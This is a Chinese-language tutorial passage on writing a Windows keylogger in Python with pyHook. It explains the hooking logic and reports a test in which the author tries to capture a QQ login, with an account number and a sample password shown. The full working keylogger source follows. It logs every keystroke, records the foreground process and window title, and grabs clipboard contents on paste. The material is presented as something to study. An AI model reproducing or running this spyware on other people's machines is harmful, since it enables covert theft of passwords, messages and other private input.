0x07 Python實作鍵盤記錄器
這份代碼比較經典,裡面的注釋也寫的很詳細,我也就直接放出來給大家一起學習一下。
簡單說一說
我們定義了pyhook的hookmanager管理器,然後将我們自定義的回調函數keystroke與keydown事件進行了綁定。之後我們通過pyhook勾住了所有的按鍵事件,然後繼續消息循環,當目标按下鍵盤上的一個鍵時,我們的keystroke函數就會被調用,它唯一的一個參數就是觸發這個事件的對象。在這個函數中,我們要做的第一件事是檢查使用者是否切換了視窗,如果切換了視窗,我們需要重新獲得目前視窗的名字及程序資訊,然後,我們檢查按鍵是否在可輸出的ascii碼範圍之内,如果是的話,輸出即可。如果按鍵是修飾鍵(如shift、ctrl、alt等)或其他非标準的按鍵,那麼我們從時間的對象中提取按鍵的名稱。我們還檢查了使用者是否在進行粘貼操作,如果是的話,我們提取剪貼闆中的内容。我們的回調函數通過傳回true來允許執行消息隊列中的下一個hook事件。
測試一下:
我這裡打開了一個記事本,然後輸入了一些東西,然後我又打開了火狐浏覽器,通路了baidu的頁面并點選了其中一個連接配接,這些操作基本都被記錄下來了
這裡我還使用這個鍵盤記錄器做了個有趣的小實驗,打開qq輸入賬号密碼登入,看看能不能記下賬号密碼,我發現這裡的賬号是可以記下來的,但是密碼卻不行,應該是qq用戶端程式對這些鍵盤記錄儀做過防禦操作處理了。截圖如下,我當時輸入的賬号是541766184
密碼是 Admin123 (當然這裡的密碼是錯誤的,隻是做個示範)
這個鍵盤記錄儀會記錄下其他字元,這些字元并不是我輸入的,而且當我停下不輸入的時候,會發現這個鍵盤記錄儀還在不斷的記錄一些我沒按過的按鍵,這些應該都是qq用戶端做過的防記錄處理。
工具源碼:
#-*- coding:utf8 -*-
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
def get_current_process():
# 擷取前台視窗句柄
hwnd = user32.GetForegroundWindow()
# 獲得程序ID
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd, byref(pid))
# 儲存目前程序ID
process_id = "%d" % pid.value
# 申請記憶體
executable = create_string_buffer("\x00" * 512)
# 打開程序
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
# 擷取程序所對應的可執行檔案的名字
psapi.GetModuleBaseNameA(h_process, None, byref(executable),512)
# 讀取視窗标題
window_title = create_string_buffer("\x00" * 512)
length = user32.GetWindowTextA(hwnd, byref(window_title), 512)
# 輸出程序相關資訊
print
print "[ PID: %s - %s - %s]" % (process_id, executable.value, window_title.value)
print
# 關閉句柄
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
def keyStore(event):
global current_window
# 檢查目标是否切換了視窗
if event.WindowName != current_window:
current_window = event.WindowName
get_current_process()
# 檢測按鍵是否為正常按鍵(非組合鍵等)
if event.Ascii > 32 and event.Ascii < 127:
print chr(event.Ascii),
else:
# 若輸入為[CTRL-V],則擷取剪切闆内容
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print "[PASTE] - %s" % (pasted_value),
else:
print "[%s]" % event.Key,
# 傳回直到下一個鈎子事件被觸發
return True
# 建立和注冊鈎子函數管理器
k1 =pyHook.HookManager()
#
k1.KeyDown = keyStore
# 注冊鍵盤記錄的鈎子,然後永久執行
k1.HookKeyboard()
pythoncom.PumpMessages()
複制